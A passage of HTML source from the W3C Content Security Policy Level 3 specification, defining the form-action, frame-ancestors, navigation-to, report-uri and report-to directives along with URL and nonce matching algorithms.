</span><a class=\"self-link\" href=\"#disown-opener-init\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-initialization\" id=\"ref-for-directive-initialization③\">initialization</a> algorithm is as\n  follows:</p>\n    <p>Given a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document①⑧\">Document</a></code> or <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object①⑤\">global object</a> (<var>context</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response③④\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑤⑤\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>response</var> and <var>policy</var> are unused.</p>\n     <li data-md=\"\">\n      <p>If <var>context</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#responsible-browsing-context\" id=\"ref-for-responsible-browsing-context\">responsible browsing context</a> has an <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#opener-browsing-context\" id=\"ref-for-opener-browsing-context①\">opener browsing\n  context</a>, <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#disowned-its-opener\" id=\"ref-for-disowned-its-opener①\">disown its opener</a>.</p>\n    </ol>\n    <p class=\"issue\" id=\"issue-466edd09\"><a class=\"self-link\" href=\"#issue-466edd09\"></a> What should this do in an <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element\" id=\"ref-for-the-iframe-element④\">iframe</a></code>? Anything?</p>\n    <h3 class=\"heading settled\" data-level=\"6.3\" id=\"directives-navigation\"><span class=\"secno\">6.3. </span><span class=\"content\"> Navigation Directives </span><a class=\"self-link\" href=\"#directives-navigation\"></a></h3>\n    <h4 class=\"heading settled\" data-level=\"6.3.1\" id=\"directive-form-action\"><span class=\"secno\">6.3.1. </span><span class=\"content\"><code>form-action</code></span><a class=\"self-link\" href=\"#directive-form-action\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"form-action\">form-action</dfn> directive restricts the <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\" id=\"ref-for-url⑥\">URL</a></code>s which can be used\n  as the target of a form submissions from a given context. The directive’s syntax is\n  described by the following ABNF grammar:</p>\n<pre class=\"abnf\">directive-name  = \"form-action\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list①③\">serialized-source-list</a>\n</pre>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"form-action Pre-Navigation Check\" data-level=\"6.3.1.1\" id=\"form-action-pre-navigate\"><span class=\"secno\">6.3.1.1. </span><span class=\"content\"> <code>form-action</code> Pre-Navigation Check </span><a class=\"self-link\" href=\"#form-action-pre-navigate\"></a></h5>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request④⑨\">request</a> (<var>request</var>), a string (<var>type</var>, \"<code>form-submission</code> or\n  \"<code>other</code>\") and two <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#browsing-context\" id=\"ref-for-browsing-context⑤\">browsing contexts</a> (<var>source</var> and <var>target</var>), this\n  algorithm returns \"<code>Blocked</code>\" if one or more of the ancestors of <var>target</var> violate the <code>frame-ancestors</code> directive delivered with the response, and\n  \"<code>Allowed</code>\" otherwise. This constitutes the <code>form-action</code>' directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-navigation-check\" id=\"ref-for-directive-pre-navigation-check①\">pre-navigation check</a>:</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>source</var> and <var>target</var> are unused in this algorithm, as <code>form-action</code> is concerned only with details of the outgoing request.</p>\n     <li data-md=\"\">\n      <p>If <var>type</var> is \"<code>form-submission</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-request-to-source-list\">§6.6.1.3 Does request match source list?</a> on <var>request</var> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value④⑨\">value</a> is\n  \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.3.2\" id=\"directive-frame-ancestors\"><span class=\"secno\">6.3.2. </span><span class=\"content\"><code>frame-ancestors</code></span><a class=\"self-link\" href=\"#directive-frame-ancestors\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"frame-ancestors\">frame-ancestors</dfn> directive restricts the <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\" id=\"ref-for-url⑦\">URL</a></code>s which can\n  embed the resource using <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/obsolete.html#frame\" id=\"ref-for-frame②\">frame</a></code>, <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element\" id=\"ref-for-the-iframe-element⑤\">iframe</a></code>, <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element\" id=\"ref-for-the-object-element⑥\">object</a></code>, <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element\" id=\"ref-for-the-embed-element④\">embed</a></code>, or <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/obsolete.html#applet\" id=\"ref-for-applet④\"><code>applet</code></a> element. Resources can use this directive to avoid many UI\n  Redressing <a data-link-type=\"biblio\" href=\"#biblio-uisecurity\">[UISECURITY]</a> attacks, by avoiding the risk of being embedded into\n  potentially hostile contexts.</p>\n    <p>The directive’s syntax is described by the following ABNF grammar:</p>\n<pre>directive-name  = \"frame-ancestors\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-ancestor-source-list\" id=\"ref-for-grammardef-ancestor-source-list\">ancestor-source-list</a>\n\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-ancestor-source-list\">ancestor-source-list</dfn> = ( <a data-link-type=\"grammar\" href=\"#grammardef-ancestor-source\" id=\"ref-for-grammardef-ancestor-source\">ancestor-source</a> *( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\" id=\"ref-for-section-3.2.3⑧\">RWS</a> <a data-link-type=\"grammar\" href=\"#grammardef-ancestor-source\" id=\"ref-for-grammardef-ancestor-source①\">ancestor-source</a>) ) / \"<a data-link-type=\"grammar\" href=\"#grammardef-none\" id=\"ref-for-grammardef-none①\">'none'</a>\"\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-ancestor-source\">ancestor-source</dfn>      = <a data-link-type=\"grammar\" href=\"#grammardef-scheme-source\" id=\"ref-for-grammardef-scheme-source①\">scheme-source</a> / <a data-link-type=\"grammar\" href=\"#grammardef-host-source\" id=\"ref-for-grammardef-host-source①\">host-source</a> / \"<a data-link-type=\"grammar\" href=\"#grammardef-self\" id=\"ref-for-grammardef-self②②\">'self'</a>\"\n</pre>\n    <p>The <code>frame-ancestors</code> directive MUST be ignored when contained in a policy\n  declared via a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta①②\">meta</a></code> element.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> The <code>frame-ancestors</code> directive’s syntax is similar to a <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists①⓪\">source\n  list</a>, but <code>frame-ancestors</code> will not fall back to the <code>default-src</code> directive’s value if one is specified. That is, a policy that declares <code>default-src 'none'</code> will still allow the resource to be embedded by anyone.</p>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"frame-ancestors Navigation Response Check\" data-level=\"6.3.2.1\" id=\"frame-ancestors-navigation-response\"><span class=\"secno\">6.3.2.1. </span><span class=\"content\"> <code>frame-ancestors</code> Navigation Response Check </span><a class=\"self-link\" href=\"#frame-ancestors-navigation-response\"></a></h5>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑤⓪\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response③⑤\">response</a> (<var>navigation response</var>)\n  and two <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#browsing-context\" id=\"ref-for-browsing-context⑥\">browsing contexts</a> (<var>source</var> and <var>target</var>), this algorithm\n  returns \"<code>Blocked</code>\" if one or more of the ancestors of <var>target</var> violate the <code>frame-ancestors</code> directive delivered with the response, and \"<code>Allowed</code>\"\n  otherwise. This constitutes the <code>frame-ancestors</code>' directive’s <a data-link-type=\"dfn\" href=\"#directive-navigation-response-check\" id=\"ref-for-directive-navigation-response-check①\">navigation\n  response check</a>:</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>request</var>, <var>navigation response</var>, and <var>source</var> are unused in\n  this algorithm, as <code>frame-ancestors</code> is concerned only with <var>target</var>’s\n  ancestors.</p>\n     <li data-md=\"\">\n      <p>If <var>target</var> is not a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#nested-browsing-context\" id=\"ref-for-nested-browsing-context⑦\">nested browsing context</a>, return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>Let <var>current</var> be <var>target</var>.</p>\n     <li data-md=\"\">\n      <p>While <var>current</var> has a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#parent-browsing-context\" id=\"ref-for-parent-browsing-context\">parent browsing context</a> (<var>parent</var>):</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Set <var>current</var> to <var>parent</var>.</p>\n       <li data-md=\"\">\n        <p>Let <var>origin</var> be the result of executing the <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-parser\" id=\"ref-for-concept-url-parser①\">URL parser</a> on the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/origin.html#ascii-serialisation-of-an-origin\" id=\"ref-for-ascii-serialisation-of-an-origin\">ASCII serialization</a> of <var>parent</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#active-document\" id=\"ref-for-active-document③\">active document</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#relevant-settings-object\" id=\"ref-for-relevant-settings-object③\">relevant settings\n  object</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-settings-object-origin\" id=\"ref-for-concept-settings-object-origin①\">origin</a>.</p>\n       <li data-md=\"\">\n        <p>If <a href=\"#match-url-to-source-list\">§6.6.1.5 Does url match source list in origin with redirect count?</a> returns <code>Does Not Match</code> when\n  executed upon <var>origin</var>, this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value⑤⓪\">value</a>, <var>navigation response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\" id=\"ref-for-concept-response-url⑤\">url</a>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-origin\" id=\"ref-for-concept-url-origin①\">origin</a>, and <code>0</code>, return\n  \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled\" data-level=\"6.3.2.2\" id=\"frame-ancestors-and-frame-options\"><span class=\"secno\">6.3.2.2. </span><span class=\"content\"> Relation to <code>X-Frame-Options</code> </span><a class=\"self-link\" href=\"#frame-ancestors-and-frame-options\"></a></h5>\n    <p>This directive is similar to the <code>X-Frame-Options</code> header that several user agents have\n  implemented. The <code>'none'</code> source expression is roughly equivalent to that header’s <code>DENY</code>, <code>'self'</code> to <code>SAMEORIGIN</code>, and so on. The major difference is that many user agents implement <code>SAMEORIGIN</code> such that it only matches against the top-level document’s location, while\n  the <a data-link-type=\"dfn\" href=\"#frame-ancestors\" id=\"ref-for-frame-ancestors\"><code>frame-ancestors</code></a> directive checks against each ancestor. If _any_ ancestor doesn’t\n  match, the load is cancelled. <a data-link-type=\"biblio\" href=\"#biblio-rfc7034\">[RFC7034]</a></p>\n    <p>In order to allow backwards-compatible deployment, the <a data-link-type=\"dfn\" href=\"#frame-ancestors\" id=\"ref-for-frame-ancestors①\"><code>frame-ancestors</code></a> directive\n  _obsoletes_ the <code>X-Frame-Options</code> header. If a resource is delivered with an <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑤⑥\">policy</a> that includes a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives③⓪\">directive</a> named <a data-link-type=\"dfn\" href=\"#frame-ancestors\" id=\"ref-for-frame-ancestors②\"><code>frame-ancestors</code></a> and whose <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition②⓪\">disposition</a> is \"<code>enforce</code>\", then the <code>X-Frame-Options</code> header MUST be ignored.</p>\n    <p class=\"issue\" id=\"issue-db2876b7\"><a class=\"self-link\" href=\"#issue-db2876b7\"></a> Spell this out in more detail as part of defining <code>X-Frame-Options</code> integration with the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#process-a-navigate-response\" id=\"ref-for-process-a-navigate-response②\">process a navigate response</a> algorithm. <a href=\"https://github.com/whatwg/html/issues/1230\">&lt;https://github.com/whatwg/html/issues/1230></a></p>\n    <section class=\"wip\">\n     <h4 class=\"heading settled\" data-level=\"6.3.3\" id=\"directive-navigation-to\"><span class=\"secno\">6.3.3. </span><span class=\"content\"><code>navigation-to</code></span><a class=\"self-link\" href=\"#directive-navigation-to\"></a></h4>\n     <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"navigation-to\">navigation-to</dfn> directive restricts the <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\" id=\"ref-for-url⑧\">URL</a></code>s to which\n    a document can navigate by any means (<code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/text-level-semantics.html#the-a-element\" id=\"ref-for-the-a-element①\">a</a></code>, <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/forms.html#the-form-element\" id=\"ref-for-the-form-element\">form</a></code>, <code>window.location</code>, <code>window.open</code>, etc.). The directive’s syntax is described by the following ABNF grammar:</p>\n<pre class=\"abnf\">directive-name  = \"navigation-to\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list①④\">serialized-source-list</a>\n</pre>\n     <p class=\"issue\" id=\"issue-86f8d392\"><a class=\"self-link\" href=\"#issue-86f8d392\"></a> Should we use <code>ancestor-source-list</code> (basically, origins as opposed to\n    paths?) It doesn’t appear that blocking navigation targets is any worse than\n    blocking any other request type with regard to leakage. Given the redirect\n    behavior, this devolves to an origin check in the presence of a malicious\n    party anyway...</p>\n     <h5 class=\"heading settled algorithm\" data-algorithm=\"navigation-to Pre-Navigation Check\" data-level=\"6.3.3.1\" id=\"navigation-to-pre-navigate\"><span class=\"secno\">6.3.3.1. </span><span class=\"content\"> <code>navigation-to</code> Pre-Navigation Check </span><a class=\"self-link\" href=\"#navigation-to-pre-navigate\"></a></h5>\n     <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑤①\">request</a> (<var>request</var>), a string (<var>type</var>, \"<code>form-submission</code> or\n    \"<code>other</code>\") and two <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#browsing-context\" id=\"ref-for-browsing-context⑦\">browsing contexts</a> (<var>source</var> and <var>target</var>), this\n    algorithm returns \"<code>Blocked</code>\" if the navigation violates the <code>navigation-to</code> directive’s constraints, and \"<code>Allowed</code>\" otherwise. This constitutes the <code>navigation-to</code>' directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-navigation-check\" id=\"ref-for-directive-pre-navigation-check②\">pre-navigation check</a>:</p>\n     <ol class=\"algorithm\">\n      <li data-md=\"\">\n       <p class=\"assertion\">Assert: <var>source</var> and <var>target</var> are unused in this algorithm, as <code>navigation-to</code> is concerned only with details of the outgoing request.\n  Likewise, <var>type</var> is unused, as all navigation requests are treated\n  identically.</p>\n      <li data-md=\"\">\n       <p>If the result of executing <a href=\"#match-request-to-source-list\">§6.6.1.3 Does request match source list?</a> on <var>request</var> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value⑤①\">value</a> is\n  \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      <li data-md=\"\">\n       <p>Return \"<code>Allowed</code>\".</p>\n     </ol>\n    </section>\n    <h3 class=\"heading settled\" data-level=\"6.4\" id=\"directives-reporting\"><span class=\"secno\">6.4. </span><span class=\"content\"> Reporting Directives </span><a class=\"self-link\" href=\"#directives-reporting\"></a></h3>\n    <p>Various algorithms in this document hook into the reporting process by\n  constructing a <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation①⑨\">violation</a> object via <a href=\"#create-violation-for-request\">§2.4.2 Create a violation object for request, policy, and directive</a> or <a href=\"#create-violation-for-global\">§2.4.1 Create a violation object for global, policy, and directive</a>, and passing that object to <a href=\"#report-violation\">§5.3 Report a violation</a> to deliver the report.</p>\n    <h4 class=\"heading settled\" data-level=\"6.4.1\" id=\"directive-report-uri\"><span class=\"secno\">6.4.1. </span><span class=\"content\"><code>report-uri</code></span><a class=\"self-link\" href=\"#directive-report-uri\"></a></h4>\n    <div class=\"note\" role=\"note\">\n      Note: The <a data-link-type=\"dfn\" href=\"#report-uri\" id=\"ref-for-report-uri②\"><code>report-uri</code></a> directive is deprecated. Please use the <a data-link-type=\"dfn\" href=\"#report-to\" id=\"ref-for-report-to③\"><code>report-to</code></a> directive instead. If the latter directive is present,\n    this directive will be ignored. To ensure backwards compatibility, we\n    suggest specifying both, like this: \n     <div class=\"example\" id=\"example-9d2ef57e\">\n      <a class=\"self-link\" href=\"#example-9d2ef57e\"></a> \n<pre><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/CSP3/#header-content-security-policy\" id=\"ref-for-header-content-security-policy⑤\">Content-Security-Policy</a>: ...; <a data-link-type=\"dfn\" href=\"#report-uri\" id=\"ref-for-report-uri③\">report-uri</a> https://endpoint.com; <a data-link-type=\"dfn\" href=\"#report-to\" id=\"ref-for-report-to④\">report-to</a> groupname\n</pre>\n     </div>\n    </div>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"report-uri\"><code>report-uri</code></dfn> directive defines a set of endpoints to which <a data-link-type=\"dfn\" href=\"#violation-report\" id=\"ref-for-violation-report\">violation reports</a> will be sent when particular behaviors are prevented.</p>\n<pre>directive-name  = \"report-uri\"\ndirective-value = <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-4.1\" id=\"ref-for-section-4.1\">uri-reference</a> *( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\" id=\"ref-for-section-3.2.3⑨\">RWS</a> <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-4.1\" id=\"ref-for-section-4.1①\">uri-reference</a> )\n\n; The <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-4.1\" id=\"ref-for-section-4.1②\">uri-reference</a> grammar is defined in Section 4.1 of RFC 3986.\n</pre>\n    <p>The directive has no effect in and of itself, but only gains meaning in\n  combination with other directives.</p>\n    <h4 class=\"heading settled\" data-level=\"6.4.2\" id=\"directive-report-to\"><span class=\"secno\">6.4.2. </span><span class=\"content\"><code>report-to</code></span><a class=\"self-link\" href=\"#directive-report-to\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"report-to\"><code>report-to</code></dfn> directive defines a <a data-link-type=\"dfn\" href=\"https://w3c.github.io/reporting/#group\" id=\"ref-for-group\">reporting\n  group</a> to which violation reports ought to be sent <a data-link-type=\"biblio\" href=\"#biblio-reporting\">[REPORTING]</a>. The\n  directive’s behavior is defined in <a href=\"#report-violation\">§5.3 Report a violation</a>. The directive’s name\n  and value are described by the following ABNF:</p>\n<pre>directive-name  = \"report-to\"\ndirective-value = <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.6\" id=\"ref-for-section-3.2.6②\">token</a>\n</pre>\n    <h3 class=\"heading settled\" data-level=\"6.5\" id=\"directives-elsewhere\"><span class=\"secno\">6.5. </span><span class=\"content\"> Directives Defined in Other Documents </span><a class=\"self-link\" href=\"#directives-elsewhere\"></a></h3>\n    <p>This document defines a core set of directives, and sets up a framework for\n  modular extension by other specifications. At the time this document was\n  produced, the following stable documents extend CSP:</p>\n    <ul>\n     <li data-md=\"\">\n      <p><a data-link-type=\"biblio\" href=\"#biblio-mix\">[MIX]</a> defines <code>block-all-mixed-content</code></p>\n     <li data-md=\"\">\n      <p><a data-link-type=\"biblio\" href=\"#biblio-upgrade-insecure-requests\">[UPGRADE-INSECURE-REQUESTS]</a> defines <code>upgrade-insecure-requests</code></p>\n     <li data-md=\"\">\n      <p><a data-link-type=\"biblio\" href=\"#biblio-sri\">[SRI]</a> defines <code>require-sri-for</code></p>\n    </ul>\n    <p>Extensions to CSP MUST register themselves via the process outlined in <a data-link-type=\"biblio\" href=\"#biblio-rfc7762\">[RFC7762]</a>. In particular, note the criteria discussed in Section 4.2 of\n  that document.</p>\n    <p>New directives SHOULD use the <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check①⑤\">pre-request check</a>, <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check①⑦\">post-request check</a>, <a data-link-type=\"dfn\" href=\"#directive-response-check\" id=\"ref-for-directive-response-check③\">response\n  check</a>, and <a data-link-type=\"dfn\" href=\"#directive-initialization\" id=\"ref-for-directive-initialization④\">initialization</a> hooks in order to\n  integrate themselves into Fetch and HTML.</p>\n    <h3 class=\"heading settled\" data-level=\"6.6\" id=\"algorithms\"><span class=\"secno\">6.6. </span><span class=\"content\">Matching Algorithms</span><a class=\"self-link\" href=\"#algorithms\"></a></h3>\n    <h4 class=\"heading settled\" data-level=\"6.6.1\" id=\"matching-urls\"><span class=\"secno\">6.6.1. </span><span class=\"content\">URL Matching</span><a class=\"self-link\" href=\"#matching-urls\"></a></h4>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"Does request violate policy?\" data-level=\"6.6.1.1\" id=\"does-request-violate-policy\"><span class=\"secno\">6.6.1.1. </span><span class=\"content\"> Does <var>request</var> violate <var>policy</var>? </span><a class=\"self-link\" href=\"#does-request-violate-policy\"></a></h5>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑤②\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑤⑦\">policy</a> (<var>policy</var>), this\n  algorithm returns the violated <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives③①\">directive</a> if the request violates the\n  policy, and \"<code>Does Not Violate</code>\" otherwise.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>violates</var> be \"<code>Does Not Violate</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>directive</var> in <var>policy</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>result</var> be the result of executing <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check①⑥\">pre-request check</a> on <var>request</var> and <var>policy</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>result</var> is \"<code>Blocked</code>\", then let <var>violates</var> be <var>directive</var>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>violates</var>.</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"Does nonce match source list?\" data-level=\"6.6.1.2\" id=\"match-nonce-to-source-list\"><span class=\"secno\">6.6.1.2. </span><span class=\"content\"> Does <var>nonce</var> match <var>source list</var>? </span><a class=\"self-link\" href=\"#match-nonce-to-source-list\"></a></h5>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑤③\">request</a>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-nonce-metadata\" id=\"ref-for-concept-request-nonce-metadata⑤\">cryptographic nonce metadata</a> (<var>nonce</var>) and a <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists①①\">source list</a> (<var>source list</var>), this algorithm returns\n  \"<code>Matches</code>\" if the nonce matches one or more source expressions in the list,\n  and \"<code>Does Not Match</code>\" otherwise:</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>source list</var> is not <code>null</code>.</p>\n     <li data-md=\"\">\n      <p>If <var>nonce</var> is the empty string, return \"<code>Does Not Match</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>expression</var> in <var>source list</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>expression</var> matches the <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\" id=\"ref-for-grammardef-nonce-source⑤\"><code>nonce-source</code></a> grammar,\n  and <var>nonce</var> is a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/infrastructure.html#case-sensitive\" id=\"ref-for-case-sensitive②\">case-sensitive</a> match for <var>expression</var>’s <a data-link-type=\"grammar\" href=\"#grammardef-base64-value\" id=\"ref-for-grammardef-base64-value⑤\"><code>base64-value</code></a> part, return \"<code>Matches</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Does Not Match</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"Does request match source list?\" data-level=\"6.6.1.3\" id=\"match-request-to-source-list\"><span class=\"secno\">6.6.1.3. </span><span class=\"content\"> Does <var>request</var> match <var>source list</var>? </span><a class=\"self-link\" href=\"#match-request-to-source-list\"></a></h5>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑤④\">request</a> (<var>request</var>), and a <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists①②\">source list</a> (<var>source list</var>),\n  this algorithm returns the result of executing <a href=\"#match-url-to-source-list\">§6.6.1.5 Does url match source list in origin with redirect count?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-current-url\" id=\"ref-for-concept-request-current-url①\">current url</a>, <var>source list</var>, <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-origin\" id=\"ref-for-concept-request-origin①\">origin</a>, and <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-redirect-count\" id=\"ref-for-concept-request-redirect-count\">redirect\n  count</a>.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> This is generally used in <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives③②\">directives</a>' <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check①⑦\">pre-request check</a> algorithms to verify that a given <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑤⑤\">request</a> is reasonable.</p>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"Does response to request match source list?\" data-level=\"6.6.1.4\" id=\"match-response-to-source-list\"><span class=\"secno\">6.6.1.4. </span><span class=\"content\"> Does <var>response</var> to <var>request</var> match <var>source list</var>? </span><a class=\"self-link\" href=\"#match-response-to-source-list\"></a></h5>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑤⑥\">request</a> (<var>request</var>), and a <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists①③\">source list</a> (<var>source list</var>),\n  this algorithm returns the result of executing <a href=\"#match-url-to-source-list\">§6.6.1.5 Does url match source list in origin with redirect count?</a> on <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\" id=\"ref-for-concept-response-url⑥\">url</a>, <var>source list</var>, <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-origin\" id=\"ref-for-concept-request-origin②\">origin</a>, and <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-redirect-count\" id=\"ref-for-concept-request-redirect-count①\">redirect\n  count</a>.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> 